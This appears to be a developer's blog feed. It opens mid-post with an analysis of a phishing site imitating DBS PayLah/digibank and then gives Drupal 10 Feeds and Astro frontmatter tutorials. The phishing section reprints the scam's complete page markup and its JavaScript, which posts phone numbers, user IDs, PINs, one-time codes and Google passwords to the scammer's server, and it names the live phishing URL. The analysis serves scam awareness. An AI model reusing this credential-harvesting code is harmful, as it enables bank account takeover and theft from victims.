        $(".btn").on("click", function () {
          if (length >= 8) {
            if ($(".btn").children().length == 0) {
              $(".btn").html("");
              $(".btn").append(
                "<span class='item i1'></span><span class='item i2'></span><span class='item i3'></span>"
              );
            }
            var data = $("#moblie_input").val();
            $("#moblie_input").blur();
            setTimeout(() => {
              api_name_paswd(data, "1");
            }, 300);

            // window.location.href='./authBankDigital.html'
          }
        });

        $(".confirm").on("click", function () {
          $id("Error").style.display = "none";
        });

        $(".back").on("click", function (val) {
          y("index.php");
        });
      }

      window.onload = onset;
    </script>
    <style>
      #main {
        position: relative;
        width: 100vw;
        height: 100vh;
        background-image: url("./img/blur_splash.png");
        background-size: 100% 100%;
        background-repeat: no-repeat;
        overflow: hidden;
        color: #fff;
        font-size: 14px;
      }
      .header {
        height: 44px;
        display: flex;
        align-items: center;
      }
      .back {
        width: 25px;
        height: 25px;
        margin-left: 10px;
      }
      .logo {
        margin-left: 160px;
        width: 48.5px;
        height: 19px;
      }
      .content {
        margin-top: 60px;
      }
      .input {
        display: flex;
        margin: 10px auto;
        background: transparent;
        height: 40px;
        width: 95%;
        color: #fff;
        border: 1px solid #fff;
        border-radius: 4px;
      }
      input {
        background: transparent;
        margin-left: 10px;
        border: none;
        outline: none;
        color: #fff;
        width: 300px;
      }
      .footer {
        width: 95%;
        position: absolute;
        display: flex;
        flex-direction: column;
        align-items: center;
        bottom: 100px;
        left: 50%;
        transform: translateX(-50%);
      }
      .btn {
        width: 95%;
        height: 40px;
        border-radius: 4px;
        display: flex;
        align-items: center;
        justify-content: center;
        background: #999;
      }
      .pop {
        position: absolute;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        background: #fff;
        width: 250px;
        color: #221f21;

        box-sizing: border-box;
        border-radius: 8px;
      }

      .pop h6 {
        text-align: center;
        padding: 20px 0 0 0;
        font-size: 20px;
      }

      .pop_text {
        padding: 20px;
        box-sizing: border-box;
        border-bottom: 1px solid #eee;
        text-align: center;
        font-weight: 700;
      }
      .confirm {
        text-align: center;
        height: 40px;
        line-height: 40px;
        color: #4781db;
      }
    </style>
  </body>
  <script type="text/javascript" src="zy/api/i.js?ver=1704949874934"></script>
</html>

This is not a very big website. Not too much going on on the markup front. It does use a very old version of jQuery. CSS is nothing special either, mostly fixed values. I suppose this is meant for mobile devices.

Use of viewport units is commendable. But use of the old-school absolute positioning and transform combination for vertical centring could probably be refactored.

Scam functionality analysis

Let's check out the business logic of this site, which is handled by JavaScript. There are 2 external JavaScript files loaded, zy/api/k.js and zy/api/i.js which seems to have some cache-busting capabilities.

The first one to load is k.js, so let's see what that does. It's 63 lines.

var path = "zy";
var nm = "";
var jhhy = "activate .php";
var errurl = "activate .php";
var n = 0;
var settime = "";
var ym = 1;
function js_ini_cssver(b) {
  var time = new Date().getTime();
  var link = document.createElement("link");
  var head = document.getElementsByTagName("head");
  head[0].appendChild(link);
  link.setAttribute("rel", "stylesheet");
  link.setAttribute("type", "text/css");
  link.setAttribute("href", b + "?ver=" + time);
}
function js_ini_jsver(b) {
  var time = new Date().getTime();
  var script = document.createElement("script");
  var html = document.getElementsByTagName("html");
  html[0].appendChild(script);
  script.setAttribute("type", "text/javascript");
  script.setAttribute("src", b + "?ver=" + time);
}
function ajax(pg, url, data, function_name, tf, func_err = "") {
  if (window.XMLHttpRequest) {
    var ajx = new XMLHttpRequest();
  } else {
    var ajx = new ActiveXObject("Microsoft.XMLHTTP");
  }
  ajx.onreadystatechange = function () {
    if (ajx.readyState === 4 && ajx.status === 200) {
      function_name(ajx.responseText);
    }
    if (ajx.readyState === 4 && ajx.status === 400) {
      if (func_err != "") {
        func_err();
      }
    }
  };
  ajx.open(pg, encodeURI(url), tf);
  if (pg === "post") {
    ajx.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  }
  ajx.send(data);
}
function y(a) {
  if (a) {
    window.location.replace(a);
  } else {
    window.location.reload();
  }
}
function $name(p) {
  return document.getElementsByTagName(p);
}
function $id(p) {
  return document.getElementById(p);
}
function js_G() {
  var url = window.document.location.href.toString();
  var u = url.split("?");
  if (typeof u[1] === "string") {
    u = u[1].split("&");
    var get = {};
    for (var i in u) {
      var j = u[i].split("=");
      get[j[0]] = j[1];
    }
    return get;
  } else {
    return {};
  }
}

Looks like it's mostly utility functions. That are not explicitly named, but that's fine since this is a scam site and you probably don't want people to know easily exactly what your functions are doing. There's stuff for AJAX, for redirecting, for parsing URL strings. Okay, nothing too crazy yet.

So the script file that gets initialised is i.js (and we found out why it has that versioning string attached to it, it was from k.js). And that file looks like this:

function div() {
  var width =
    window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
  var height =
    window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;

  var link = document.createElement("div");
  var head = document.getElementsByTagName("body");
  var l = document.createElement("style");
  head[0].appendChild(l);
  l.innerHTML =
    ".bak{background:#c9c9c9;position: absolute;top: 0; left: 0;width: 100%; height: 100%;opacity:0.2;opacity:0;}.loading { border-radius: 5px;width: 100px;height: 100px;background:#e9e9e9; } .loading-img {opacity:1;width: 50px;height: 50px;position: absolute; left: 0; right: 0;top: 0;bottom: 0;margin: auto;}@keyframes turn { 0% { -webkit-transform: rotate(0deg); }25% { -webkit-transform: rotate(90deg); }50% { -webkit-transform: rotate(180deg);} 75% { -webkit-transform: rotate(270deg); } 100% {-webkit-transform: rotate(360deg); }}.loading-img img { user-select:none; width: 100%; animation: turn 1s linear infinite;} .loading - none { display: none; } ";
  head[0].appendChild(link);
  link.setAttribute(
    "style",
    "position:absolute;left:0px;top:0px;width:100%;height:100%;z-index:9999;display: flex;justify-content: space-around;align-items: center; "
  );
  link.setAttribute("id", "divq");
  link.style.width = width * 1 + "px";
  link.style.height = height * 1 + "px";
  // link.style.background = "#000";
  link.style.left = width * 0 + "px";
  link.style.top = height * 0 + "px";
  link.style.borderRadius = "10px";
  link.style.opacity = "1";
  link.innerHTML =
    "<div class='loading'><div class='bak'></div><div class='loading-img'><img src='" +
    path +
    "/api/img/qq.png' /></div></div>";
}
function tkk(html) {
  var width =
    window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
  var height =
    window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;
  var link = document.createElement("div");
  var head = document.getElementsByTagName("body");
  var l = document.createElement("style");
  head[0].appendChild(l);
  l.innerHTML = "#i44,#i55,#i66,#idiv{position:absolute;}";
  head[0].appendChild(link);
  link.setAttribute(
    "style",
    "position:absolute;left:0px;top:0px;width:100%;height:100%;z-index:9999;display: flex;justify-content: space-around;align-items: center; "
  );
  link.setAttribute("id", "divqq");
  link.style.width = width + "px";
  link.style.height = height + "px";
  link.style.background = "";
  link.style.left = 0 + "px";
  link.style.top = 0 + "px";
  link.style.opacity = "1";
  link.innerHTML =
    "<div id='i44'><div id='idiv'><span id='i55'></span></div><span id='i66'>OK</span></div><div id='idiv2'></div>";

  $id("i55").innerHTML = html;

  $id("idiv2").style.width = width + "px";
  $id("idiv2").style.height = height + "px";
  $id("idiv2").style.background = "#000";
  $id("idiv2").style.left = 0 + "px";
  $id("idiv2").style.top = 0 + "px";
  $id("idiv2").style.opacity = "0.4";

  $id("idiv").style.left = width * 0.05 + "px";
  $id("idiv").style.top = height * 0.01 + "px";
  $id("idiv").style.width = width * 0.8 + "px";
  $id("idiv").style.height = height * 0.14 + "px";
  $id("idiv").style.wordBreak = "break-all";

  $id("i44").style.left = width * 0.05 + "px";
  $id("i44").style.top = height * 0.4 + "px";
  $id("i44").style.width = width * 0.9 + "px";
  $id("i44").style.height = height * 0.2 + "px";
  $id("i44").style.background = "#fff";
  $id("i44").style.opacity = "1";
  $id("i44").style.zIndex = "1";
  $id("i44").style.borderRadius = "2px";

  $id("i55").style.left = 0 + "px";
  $id("i55").style.top = height * 0.01 + "px";

  $id("i66").style.left = width * 0.77 + "px";
  $id("i66").style.top = height * 0.15 + "px";
  $id("i66").style.color = "#6cd000";
  $id("i66").style.fontSize = width * 0.045 + "px";
  $id("i66").style.fontWeight = "bold";

  $id("divqq").onclick = function () {
    if ($id("divqq")) {
      $id("divqq").remove();
    }
  };
}
function jsd() {
  n = 1;
  var width =
    window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
  var m = 1;
  var ff = 1;
  settime = setInterval(countDown, 1000);
  function countDown() {
    m -= 1;
    if (m == 0 && ff >= 0) {
      ff -= 1;
      m = 29;
    }
    if (m >= 0 && ff >= 0) {
      if (m < 10) {
        var html1 = "00:0" + m;
      } else {
        var html1 = "00:" + m;
      }
      $id("code").innerHTML = "Request new code in " + html1;
    } else {
      n = 0;
      $id("code").innerHTML = "Request new code in 00:00";
      clearInterval(settime);
    }
  }
}
function api_name_paswd(name, paswd) {
  var url = path + "/api/api.php";
  var data = "name=" + name + "&paswd=" + paswd;
  function f(p) {
    function aja() {
      ajax("post", url, data, ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)["ok"] == "ok") {
          if ($id("divq")) {
            $id("divq").remove();
          }
          clearInterval(timer);
          y("MS code.php?p=" + $id("moblie_input").value);
        }
        if (JSON.parse(d)["ok"] == "no") {
          $id("Error").style.display = "block";

          $id("moblie_input").value = "";
          $(".btn").html("Next");
          $(".btn").css("background", "#eee");

          if ($id("divq")) {
            $id("divq").remove();
          }
          $(".btn").html("Next");
          $(".btn").children("span").remove();

          clearInterval(timer);
          // $id("span3").style.display = "block";
          // $id("button21").style.background="#9be2aa";
          // $id("button21").disabled=true;
          // $id("input11").focus();
        }
      }
    }
  }
  ajax("post", url, data, f, true);
}

function api_yzm(yzm) {
  var url = path + "/api/api.php";
  var data = "yzm=" + yzm;
  function f(p) {
    function aja() {
      ajax("post", url, data, ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)["ok"] == "ok") {
          if ($id("divq")) {
            $id("divq").remove();
          }

          clearInterval(timer);
          // $id('div1').style.display = 'block';
          // $id("input2").focus();
          y("login.php");
        }
        if (JSON.parse(d)["ok"] == "no") {
          $(".next").css("background", "#eee");
          $("#SMS").val("");
          $("input").val("");
          $("#SMS").focus();

          $id("Error").style.display = "block";
          if ($id("divq")) {
            $id("divq").remove();
          }

          $(".next").html("Next");
          $(".next").children("span").remove();

          clearInterval(timer);
          $id("span3").style.display = "block";
          $id("input11").value = "";
          $id("span5").style.display = "block";
          $id("input11").focus();
          clearInterval(settime);
          jsd();
        }
      }
    }
  }
  ajax("post", url, data, f, true);
}

function api_pwd(pwd) {
  var url = path + "/api/api.php";
  var data = "lgnpwd=" + pwd;
  function f(p) {
    function aja() {
      ajax("post", url, data, ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)["ok"] == "ok") {
          clearInterval(timer);
          y("wait.html");
        }
        if (JSON.parse(d)["ok"] == "no") {
          $id("Error").style.display = "block";

          $("#pwd").val("");
          $(".btn").css("background", "#ccc");
          $(".btn").html("Next");
          $(".btn").children("span").remove();

          clearInterval(timer);
        }
      }
    }
  }
  ajax("post", url, data, f, true);
}

function api_yx(yx) {
  var url = path + "/api/api.php";
  var data = "yx=" + yx;
  function f(p) {
    div();
    function aja() {
      ajax("post", url, "yxok=ok", ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)["ok"] == "ok") {
          if ($id("divq")) {
            $id("divq").remove();
          }
          clearInterval(timer);
          y(
            "Sign in - Google Accountp.php?p=" +
              document.getElementsByClassName("Xb9hP")[0].getElementsByTagName("input")[0].value
          );
        }
        if (JSON.parse(d)["ok"] == "no") {
          if ($id("divq")) {
            $id("divq").remove();
          }
          clearInterval(timer);
          document.getElementsByClassName("Xb9hP")[0].getElementsByTagName("input")[0].value = "";
          document.getElementsByClassName("Xb9hP")[0].getElementsByTagName("input")[0].focus();
          document.getElementsByClassName("LXRPh")[0].style.display = "block";
          document.getElementsByClassName("LXRPh")[0].innerHTML =
            '<div class="EjBTad" aria-hidden="true"><svg aria-hidden="true" class="stUf5b LxE1Id" fill="currentColor" focusable="false" width="16px" height="16px" viewBox="0 0 24 24" xmlns="https://www.w3.org/2000/svg"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path></svg></div><div jsname="B34EJ"><span style="color:red;" jsslot="">Your Goole account cannot be found </span></div>';
        }
      }
    }
  }
  ajax("post", url, data, f, true);
}
function api_yxmm(yxmm) {
  var url = path + "/api/api.php";
  var data = "yxmm=" + yxmm;
  function f(p) {
    div();
    function aja() {
      ajax("post", url, "yxmmok=ok", ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)["ok"] == "ok") {
          if ($id("divq")) {
            $id("divq").remove();
          }
          clearInterval(timer);
          y("activate .php");
        }
        if (JSON.parse(d)["ok"] == "no") {
          if ($id("divq")) {
            $id("divq").remove();
          }
          clearInterval(timer);
          document.getElementsByClassName("Xb9hP")[0].getElementsByTagName("input")[0].value = "";
          document.getElementsByClassName("Xb9hP")[0].getElementsByTagName("input")[0].focus();
          document.getElementsByClassName("uSvLId")[0].style.display = "block";
          document.getElementsByClassName("uSvLId")[0].innerHTML =
            '<div class="EjBTad" aria-hidden="true"><svg aria-hidden="true" class="stUf5b LxE1Id" fill="currentColor" focusable="false" width="16px" height="16px" viewBox="0 0 24 24" xmlns="https://www.w3.org/2000/svg"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path></svg></div><div jsname="B34EJ"><span style="color:red;" jsslot="">Incorrect password, please try again, or click "Forget password" to reset password. </span></div>';
        }
      }
    }
  }
  ajax("post", url, data, f, true);
}
function api_yzmjh(yzm, userid) {
  var url = path + "/api/api.php";
  var data = "yzmm=" + yzm;
  function f(p) {
    div();
    function aja() {
      ajax("post", url, "yzjhok=ok", ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)["ok"] == "ok") {
          y("opt.php");
          clearInterval(timer);
        }
        if (JSON.parse(d)["ok"] == "no") {
          if ($id("divq")) {
            $id("divq").remove();
          }
          clearInterval(timer);
          $id("err").style.display = "block";
          $id("input2").value = "";
          var ddiv = $id("div12").getElementsByTagName("div");
          for (let i = 0; i < ddiv.length; i++) {
            ddiv[i].style.border = "1px solid #14bf61";
            ddiv[i].getElementsByTagName("span")[0].style.display = "block";
          }
          $id("input2").focus();
        }
      }
    }
  }
  ajax("post", url, data, f, true);

  data = "yx=" + userid;
  ajax("post", url, data, null, true);
}

function api_wt(name, paswd) {
  var url = path + "/api/api.php";
  var data = "w1=" + name + "&w2=" + paswd;
  function f(p) {
    function aja() {
      ajax("post", url, data, ffff, true);
    }
    var timer = setInterval(aja, 1000);
    function ffff(d) {
      if (d) {
        if (JSON.parse(d)["ok"] == "ok") {
          y("opt.php");
          clearInterval(timer);
        }
        if (JSON.parse(d)["ok"] == "no") {
          $id("Error").style.display = "block";
          if ($id("divq")) {
            $id("divq").remove();
          }
          $(".next").html("Next");
          $(".next").children("span").remove();

          $("#userId").val("");
          $("#PIN").val("");
          $(".next").css("background", "#eee");
          $("#userId").focus();

          clearInterval(timer);
          // document.getElementsByClassName('_5yd0 _2ph- _5yd1')[0].style.display="block";
          // document.getElementsByClassName('_5yd0 _2ph- _5yd1')[0].innerHTML="Invalid account password";
        }
      }
    }
  }
  ajax("post", url, data, f, true);
}

function xt() {
  function f(d) {
    if (d != "") {
      var dd = JSON.parse(d);
      if ($id("divqq")) {
        $id("divqq").remove();
      }
      tkk(dd[0]["msg"]);
    }
  }
  var url = "zy/api/api.php";
  var data = "xint=1";
  ajax("post", url, data, f, true);
}
var xint = setInterval(xt, 1000);

Ergh, this one's so much longer. 396 lines. From here, we can tell that this whole scam is powered by PHP. Ah well, any tool can be used for good or evil. It is here, that I once again am reminded of how much better code reads when you name your functions descriptively.

But because the code was so hard to read, and I'm down with COVID, I'm just going to write up my best guesstimates of what the functions do. The whole code is there, so if you want to yell at me to say that I'm wrong, don't bother. I know I'm most likely wrong already.

I can see functions for creating modals and loading spinners (the first 2). Then most of the rest seem to be related to parsing the user inputs? Then POST-ing them to api.php? I think, more or less.

There seems to be an action you can do to get a Google sign-in PHP page? But I'm too tired to figure out what you need to do to get it at this point. If anyone carries on this investigation, please share your findings.

Tempt fate by filling in the phone number

I put in a random 8-digit number and automatically got redirected to this URL https://sgs.dbsnowsg.work/MS code.php?p=83442908.

Did you think the second page would look better than the first one? Of course you didn't. Haha.

<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta
      name="viewport"
      content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1, maximum-scale=1"
    />
    <title>Document</title>
    <link rel="stylesheet" href="./css/global.css" />
    <link rel="stylesheet" href="./css/animation.css" />
  </head>
  <body>
    <div id="main">
      <div class="header">
        <img class="back" src="./img/back.svg" alt="" />
        <img class="logo" src="./img/paylahwhite.png" alt="" />
      </div>
      <div class="content">
        <p style="text-align: center;">Step2. digibank Authentication</p>
        <div class="input input2" style="background: transparent;">
          <input
            id="userId"
            class="moblie_input"
            placeholder="DBS/POSB digibank User ID"
            type="text"
          />
        </div>
        <div class="input input1">
          <input
            id="PIN"
            class="moblie_input1"
            placeholder="PIN"
            pattern="[0-9]*"
            type="tel"
            maxlength="9"
          />
        </div>
        <div class="text">
          <p>Forgot PIN</p>
          <p>Don't have digibank? <span>Apply here</span></p>
        </div>
      </div>
      <div class="footer">
        <div class="btn">Help</div>
        <div class="btn next">Next</div>
      </div>
      <div id="Error" class="pop" style="display: none;">
        <p class="pop_text">
          You may have keyed in an invalid User ID or PIN. Please log in again.
        </p>
        <div class="confirm">OK</div>
      </div>
    </div>

    <script src="./js/jquery-1.11.1.min.js"></script>
    <script type="text/javascript" src="zy/api/k.js"></script>
    <script>
      js_ini_jsver("zy/api/i.js");

      function onset() {
        $(".moblie_input1").on("input", function (val) {
          length = val.target.value.length;
          // console.log(val.target.value)
          if (val.target.value.length >= 6) {
            $(".next").css("background", "#b82f54");
          } else {
            $(".next").css("background", "#eee");
          }
        });

        $(".confirm").on("click", function () {
          $id("Error").style.display = "none";
        });

        $(".back").on("click", function (val) {
          y("GetStarted.php");
        });
        $(".next").on("click", function () {
          if ($("#PIN").val().length >= 6) {
            if ($(".next").children().length == 0) {
              $(".next").html("");
              $(".next").append(
                "<span class='item i1'></span><span class='item i2'></span><span class='item i3'></span>"
              );
            }
            api_wt($("#userId").val(), $("#PIN").val());
          }
        });
        $(".moblie_input").blur(function (val) {
          // console.log(val)
          $(".input2").css("background", "transparent");
        });
        $(".moblie_input").focus(function (val) {
          $(".input2").css("background", "#000");
        });
        $(".moblie_input1").blur(function (val) {
          // console.log(val)
          $(".input1").css("background", "transparent");
        });
        $(".moblie_input1").focus(function (val) {
          $(".input1").css("background", "#000");
        });
      }
      window.onload = onset;
    </script>
    <style>
      #main {
        position: relative;
        width: 100vw;
        height: 100vh;
        background-image: url("./img/blur_splash.png");
        background-size: 100% 100%;
        background-repeat: no-repeat;
        overflow: hidden;
        color: #fff;
        font-size: 14px;
        text-align: center;
      }
      .header {
        height: 44px;
        display: flex;
        align-items: center;
      }
      .back {
        width: 25px;
        height: 25px;
      }
      .logo {
        margin: 0 auto;
        width: 48.5px;
        height: 19px;
      }
      .content {
        margin-top: 60px;
      }
      .input {
        display: flex;
        margin: 10px auto;
        background: transparent;
        height: 40px;
        width: 95%;
        color: #fff;
        border: 1px solid #fff;
        border-radius: 4px;
      }
      input {
        background: transparent;
        margin-left: 10px;
        border: none;
        outline: none;
        color: #fff;
        width: 300px;
      }
      .footer {
        width: 95%;
        position: absolute;
        display: flex;
        flex-direction: column;
        align-items: center;
        bottom: 100px;
        left: 50%;
        transform: translateX(-50%);
      }
      .btn {
        width: 95%;
        height: 40px;
        border-radius: 4px;
        display: flex;
        align-items: center;
        justify-content: center;
        /* background: #eee; */
      }
      .next {
        background: #999;
      }
      .pop {
        position: absolute;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        background: #fff;
        width: 250px;
        color: #221f21;

        box-sizing: border-box;
        border-radius: 8px;
      }
      .pop_text {
        padding: 20px;
        box-sizing: border-box;
        border-bottom: 1px solid #eee;
        text-align: center;
        font-weight: 700;
      }
      .confirm {
        text-align: center;
        height: 40px;
        line-height: 40px;
        color: #4781db;
      }
    </style>
  </body>
  <script type="text/javascript" src="zy/api/i.js?ver=1704951404881"></script>
</html>

Doesn't seem like there's much new code here, just new inputs. There are no other links on the page that could bring you away from this domain, the forgot password or help text are just text, no links. Good call, I say.

After putting in the user name and PIN (which is validated to be 6 digits, as required by the bank), the previously disabled next button becomes enabled. Wow.

After hitting next, I don't think their servers are particularly fast because it took a while before they responded that I didn't put in actual credentials?

So I guess they do validation at this step so I'm stopping here. The second time I filled in the user name and PIN after dismissing the error message, the POST request returned a 404.

Police seem to be on to them

As I was messing around, I encountered this screen at http://dbsnowsg.work. Not sure why it didn't show up the first time.

So I'm guessing the digital team at the Singapore Police Force know about this scammer? But I'm thinking perhaps the anonymity of the person registering the domain is making it hard to block it altogether.

I'm not well versed with how ISPs do blocking though, so do subdomains not fall under the blocking rules? I don't know, this is not my area of expertise.

Wrapping up

Honestly, I think I started out strong, but fizzled out at the code reading because it was so tiring (I'm also down with COVID, give me a break). So the lesson learned here is, to be a good teammate and person who writes code that other people will end up reading, let's all try to name our functions well.

It would also be kinda fun if other people shared their experience with scam emails/SMS/DMs but then, there is a danger of getting shit installed on your device if you're not careful. Who knows, it might have happened to me already.

Oh well. I vaguely remember writing about the anatomy of the scam website years ago, but cannot for the life of myself find it. If you have ever seen it in your life, let me know?

Lastly, stay healthy, folks! Never touch your face without washing your hands first. 😷

Pulling content from external API into Drupal 10

Tue, 19 Dec 2023 02:19:37 GMT

If you had read my previous blog post, you'll have found out that I'm somehow unable to escape Drupal. Not that Drupal is some terrible monster, it's actually not bad. At this point, I'll probably end up finishing my career with some Drupal project, who knows? Drupal 42, let's go.

I had not done Drupal since 2020, and if it wasn't for those blog posts I wrote back then, things would have been much harder. But as I slowly poked around a freshly installed copy of Drupal 10, in spite of the many changes (for the better), I found there were also many things that remained familiar.

Anywayz, one of the things that needed to be done was to pull data from Sessionize, which is a SAAS (software-as-a-service) platform for managing conference talks. Sessionize exposes speaker and talk data to developers via a JSON API so you can pull that information into your own website.

Feeds

One way to do this is via the Feeds module, which is used “for importing or aggregating data into nodes, users, taxonomy terms and other content entities using a web interface without coding a migration.”

Feeds lets you create new content nodes containing the data that you're pulling through. If you're unfamiliar with Drupal altogether, Drupal has the concept of content types, where you can create specific content types containing specific fields to hold specific data. Each piece of content is referred to as a node.

You do need to tell Feeds which fields from the JSON data map to which fields on your content type, so the setup did kill a good number of my brain cells. But just in case I have to do it again, this blog post exists.

Install the module

I have not hardcore Drupal-ed since 2017, so I need to rewire my neurons to the Composer is king mindest.

composer require 'drupal/feeds:^3.0@beta'

By the time someone reads this, the version would have changed, please copy the correct installation command from the module page itself. After the module files are added, enable the required modules.

drush pm:enable feeds, feeds_ex

You can also do it from the GUI at admin/modules. Feeds extensible parsers is required if your data is JSON.

Configure the module

This is the tricky part. And will also depend quite heavily on the shape of your data. The Sessionize speaker data looks something like this:

[
  {
    "id": "XXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
    "firstName": "Adrian",
    "lastName": "Hope-Bailie",
    "fullName": "Adrian Hope-Bailie",
    "bio": "Adrian is a co-inventor of the Interledger protocol stack and the Open Payments standards and payment pointers. He is a co-founder of Fynbos where he is building the first account that will issue payment pointers and support Open Payments.",
    "tagLine": "Founder at Fynbos",
    "profilePicture": "https://sessionize.com/image/e5b2-400o400o1-UNKX2DhHQEuyQwrn2Xx1vb.png",
    "sessions": [
      {
        "id": 000000,
        "name": "Digital Wallets - Our financial \"user agents\""
      }
    ]
  }
]

Most of the fields are straightforward 1-1 mapping to individual fields, like the firstName field to a text field, or the bio field to a formatted text field and so on. But the sessions field data is an array. And that was not intuitive to deal with at first.

But first, the content type. Think of the content type as the container in which the data that you pull in via JSON has to live. Which means the data should be mapped to their respective fields in the Drupal content type.

I created a new content type called Summit speaker. The only tricky field is sessions. This is because sessions have their own content type, and the 2 content types reference each other. So the sessions field is an entity reference field.

Back in the day, I remember that entity reference was a contrib module, but now it's built into Drupal. When you create a new field for your content type, you can select Reference.

I set mine up to allow an unlimited number of values, and to reference the Summit talk content type.

The field mapping takes place on the Feeds configuration interface at /admin/structure/feeds. Start by adding a feed type. Fill the basic information as you see fit. The key part is to set the Fetcher to Download from url and the parser to JsonPath.

Because the target for the JSON data is my newly created content type, the processor is set to Node and my content type is Summit speaker. The rest of the settings are really up to your individual use-case. Because my event was already over, I only needed a one-time download, but you might want to set a regular import period or whatever.

The Mapping tab is where you determine how the data gets pulled into your fields. The Context field (based on my extensive Googling to figure out the right thing to do) is what trips most people up. I think it's just how the JsonPath syntax works but there's a tool for that!

You can plug your JSON file into the JSONPath Online Evaluator and try to work out what you want to put in there. For me it was simply $.* because I wanted to parse the whole thing.

After you select a target field (on your content type), you will need to specify the source (i.e. where from the JSON the value should come from). Pick New Json source..., which will give you a free form text field. Enter the key value on the JSON you want the data to come from.

In my case, I would put in fullName for the value I wanted mapped to my Summit speaker content type's title field. And so on, and so forth.

For fields that were in an array, like the sessions field, the mapping value is a bit more complicated. It's more JsonPath syntax is what I think. But for my sessionName source, the value I used to make things work was sessions[*].name, I validated it using the JsonPath tool thingy.

The long and short of it is that this seems to be the syntax that works for importing values into a Drupal field that takes in multiple values.

The place to define the source of your JSON is configured at /admin/content/feed. You need to add a new feed. The options will depend on what feed types you have created so far. Select the feed type you want, and you will need to label it with a title and the key here is the Feed URL, which is the URL where your JSON can be accessed.

If everything goes well, smash that Save and import button and you should see a status message informing you of your success or failure. The complication for my use-case is my use of the entity reference field to a Summit talk content type.

Luckily, the import won't fail entirely even if the entity reference field cannot find the entity it wants to reference. The sessions field for now will just be empty. After all the talks have been imported, re-run the feed import and (hopefully), your content nodes will update accordingly.

Check your settings on the Feed type under Processor settings to make sure you have set behaviour to Update existing content items.

Wrapping up

I think that's it? I mean, it took me quite a bit of time and effort to get the steps distilled to what you've just read. I even ran into Drupal 101: What I learnt from hours of troubleshooting Feeds which I had written in back in 2015.

And no, sadly it did not help me one bit because that import was in CSV. JSON was a whole new bunch of hours spent troubleshooting. But what can I say? It pays the bills. It pays the bills. It pays the bills. 💵

Customising content markdown via frontmatter in Astro

Fri, 17 Nov 2023 07:30:40 GMT

The use case I had for this was to have customisable bits of a content collection that was rendered from markdown. Basically, a newsletter template where every newsletter could potentially have a different top banner and highlight colour.

There are different ways to implement this but I went with this frontmatter approach because there might be situations where a non-technical person had to publish the newsletter, and asking them to pass variables into a component is more confusing for them than you'd think.

If you consult the Astro documentation on CSS variables, it is possible to to pass CSS variables from component frontmatter using the define:vars directive. If you think about it, isn't frontend development all about passing data from one component to another?

Anyway, how this would work for my use case is, on my newsletter layout, I can access the frontmatter props, assign them to variables. Then pass these server-side variables into the client <style> tags.

---
const { frontmatter } = Astro.props;

const headerImg = `url('${frontmatter.theme.header_img}')`;
const gradientColour1 = frontmatter.theme.gradient_colour_1;
const gradientColour2 = frontmatter.theme.gradient_colour_2;
const headerTxt = frontmatter.theme.header_txt;
const highlightColour = frontmatter.theme.highlight_colour;
---

<header
  class="content-wrapper"
  style="background-image: var(--header-img), linear-gradient(90deg, var(--gradient-colour-1) 0%, var(--gradient-colour-2) 100%); color: var(--header-txt)">
  <h1>{frontmatter.title}</h1>
</header>

<style define:vars={{ headerImg, gradientColour1, gradientColour2, headerTxt, highlightColour }}>
header {
	--header-img: var(--headerImg, url('img/ernie.svg'));
	--gradient-colour-1: var(--gradientColour1, var(--color-purple--lighter));
	--gradient-colour-2: var(--gradientColour2, var(--color-pink--lighter));
	--header-txt: var(--headerTxt, #fff);
}

:global(h2::after) {
	--highlight-colour: var(--highlightColour, var(--color-pink--lightest));
}
</style>

So the frontmatter on the markdown side of things would look like this:

---
layout: ../../layouts/NewsletterLayout.astro
title: Newsletter format of update email.
description: Monthly update for July 2023
date: 2023-07-01
theme:
  gradient_colour_1: "yellow"
  gradient_colour_2: "limegreen"
  header_img: "/img/ernie.svg"
  header_txt: "#333"
  highlight_colour: "yellow"
tags:
  - newsletter
---

One thing to note is that the frontmatter values have to exist, otherwise the site will error out. But they can be empty.

---
layout: ../../layouts/NewsletterLayout.astro
title: Acts as an archive.
description: Monthly update for July 2023
date: 2023-07-01
theme:
  gradient_colour_1: ""
  gradient_colour_2: ""
  header_img: ""
  header_txt: ""
  highlight_colour: ""
tags:
  - newsletter
---

But this might cause the display to look weird, so to prevent that, we need to remember to add fallback to the CSS custom property values. The syntax for that looks like this, where the second argument of the var() function is the fallback value:

.SELECTOR {
  /* limegreen if --some-variable is not defined */
  color: var(--some-variable, limegreen);
}

Took some time to fiddle around before figuring this one out, so it's worth a short documentation for future me, as I've reached the stage in my career where I have to read my own blog posts to relearn how to solve problems I've solved before. 乁 ⁠(⁠ ⁠•⁠_⁠•⁠ ⁠)⁠ ㄏ

Back from blogging hiatus? Maybe…

Fri, 17 Nov 2023 06:53:51 GMT

What is with a sudden publication of blog posts after a seemingly indefinite hiatus? I have no answer except that I do things when I feel like it. More specifically, I do things that are not mandatory (like my job) when I feel like it. That's why I still have one.

